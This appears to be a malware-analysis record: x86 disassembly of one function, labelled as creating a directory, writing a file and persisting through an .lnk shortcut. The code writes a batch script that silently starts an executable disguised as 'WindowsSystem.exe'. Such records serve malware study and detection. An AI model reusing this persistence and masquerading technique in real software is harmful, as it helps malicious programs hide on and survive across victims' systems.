Function at 0x4122d0
Capabilities:
Create directory
Persist via lnk shortcut
Write file on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x30
push 0xfffe
push 0x40
call dword [0x47cd3c]
mov dword [ebp - 4], eax
cmp dword [ebp - 4], 0
je 0x412558
lea eax, [ebp - 8]
push eax
push 0
push 0
push 0x437bf0
call dword [0x47d0fc]
test eax, eax
jne 0x41254e
push str.18925F49_C14F_4A5B_BA0F_9C4106DA4CB0
mov ecx, dword [ebp - 8]
push ecx
push 0x433f2c
push 0x7fff
mov edx, dword [ebp - 4]
push edx
call fcn.0042359a
add esp, 0x14
lea eax, [ebp - 0xc]
push eax
push 0x471178
call fcn.0040fe20
add esp, 8
mov dword [ebp - 0x10], eax
cmp dword [ebp - 0x10], 0
je 0x412544
push 0xbb8
push 0x40
call dword [0x47cd3c]
mov dword [ebp - 0x14], eax
cmp dword [ebp - 0x14], 0
je 0x41253a
push str.34E50511_FBB8_42F8_98A2_2629192A03A0
push str.WindowsSystem.exe
mov ecx, dword [ebp - 0x10]
push ecx
push str._echo_off_ncmd__c_start______S_S___S
push 0xbb8
mov edx, dword [ebp - 0x14]
push edx
call fcn.0042477b
add esp, 0x18
mov dword [ebp - 0x18], eax
lea eax, [ebp - 0x1c]
push eax
push 0
push 0
push 0x437c00
call dword [0x47d0fc]
test eax, eax
jne 0x412530
push 0xfffe
push 0x40
call dword [0x47cd3c]
mov dword [ebp - 0x20], eax
cmp dword [ebp - 0x20], 0
je 0x412526
push str.9771290C_19FB_4434_8B1F_8952BA10F287
mov ecx, dword [ebp - 0x1c]
push ecx
push 0x433f64
push 0x7fff
mov edx, dword [ebp - 0x20]
push edx
call fcn.0042359a
add esp, 0x14
push 0
mov eax, dword [ebp - 0x20]
push eax
call dword [sym.imp.KERNEL32.dll_CreateDirectoryW]
mov dword [ebp - 0x24], eax
cmp dword [ebp - 0x24], 1
je 0x412403
call dword [0x47cd9c]
cmp eax, 0xb7
jne 0x41251c
push 0xfffe
push 0x40
call dword [0x47cd3c]
mov dword [ebp - 0x28], eax
cmp dword [ebp - 0x28], 0
je 0x41251c
push str.A786AA22_8EF1_44CE_8698_6F3988CB643E
push str.9771290C_19FB_4434_8B1F_8952BA10F287
mov ecx, dword [ebp - 0x1c]
push ecx
push str._s_s_s.bat
push 0x7fff
mov edx, dword [ebp - 0x28]
push edx
call fcn.0042359a
add esp, 0x18
mov dword [ebp - 0x2c], 0xffffffff
push 0
push 0
push 2
push 0
push 0
push 0xc0000000
mov eax, dword [ebp - 0x28]
push eax
call dword [sym.imp.KERNEL32.dll_CreateFileW]
mov dword [ebp - 0x2c], eax
cmp dword [ebp - 0x2c], 0xffffffff
je 0x412512
mov dword [ebp - 0x30], 0
push 0
lea ecx, [ebp - 0x30]
push ecx
mov edx, dword [ebp - 0x18]
push edx
mov eax, dword [ebp - 0x14]
push eax
mov ecx, dword [ebp - 0x2c]
push ecx
call dword [sym.imp.KERNEL32.dll_WriteFile]
mov edx, dword [ebp - 0x30]
cmp edx, dword [ebp - 0x18]
jne 0x412502
mov eax, dword [ebp - 0x2c]
push eax
call dword [0x47cd34]
mov dword [ebp - 0x2c], 0xffffffff
push 0x433f8c
mov ecx, dword [ebp - 4]
push ecx
mov edx, dword [ebp - 0x28]
push edx
call fcn.0041cdb0
add esp, 0xc
test eax, eax
jne 0x412502
mov eax, dword [ebp - 0x28]
push eax
call dword [0x47cd48]
mov ecx, dword [ebp - 0x1c]
push ecx
call dword [0x47d118]
mov edx, dword [ebp - 8]
push edx
call dword [0x47d118]
mov eax, dword [ebp - 4]
push eax
call dword [0x47cd48]
mov ecx, dword [ebp - 0x10]
push ecx
call dword [0x47cd48]
mov edx, dword [ebp - 0x20]
push edx
call dword [0x47cd48]
mov eax, 1
jmp 0x41255a
cmp dword [ebp - 0x2c], 0xffffffff
je 0x412512
mov eax, dword [ebp - 0x2c]
push eax
call dword [0x47cd34]
mov ecx, dword [ebp - 0x28]
push ecx
call dword [0x47cd48]
mov edx, dword [ebp - 0x20]
push edx
call dword [0x47cd48]
mov eax, dword [ebp - 0x1c]
push eax
call dword [0x47d118]
mov ecx, dword [ebp - 0x14]
push ecx
call dword [0x47cd48]
mov edx, dword [ebp - 0x10]
push edx
call dword [0x47cd48]
mov eax, dword [ebp - 8]
push eax
call dword [0x47d118]
mov ecx, dword [ebp - 4]
push ecx
call dword [0x47cd48]
xor eax, eax
mov esp, ebp
pop ebp
ret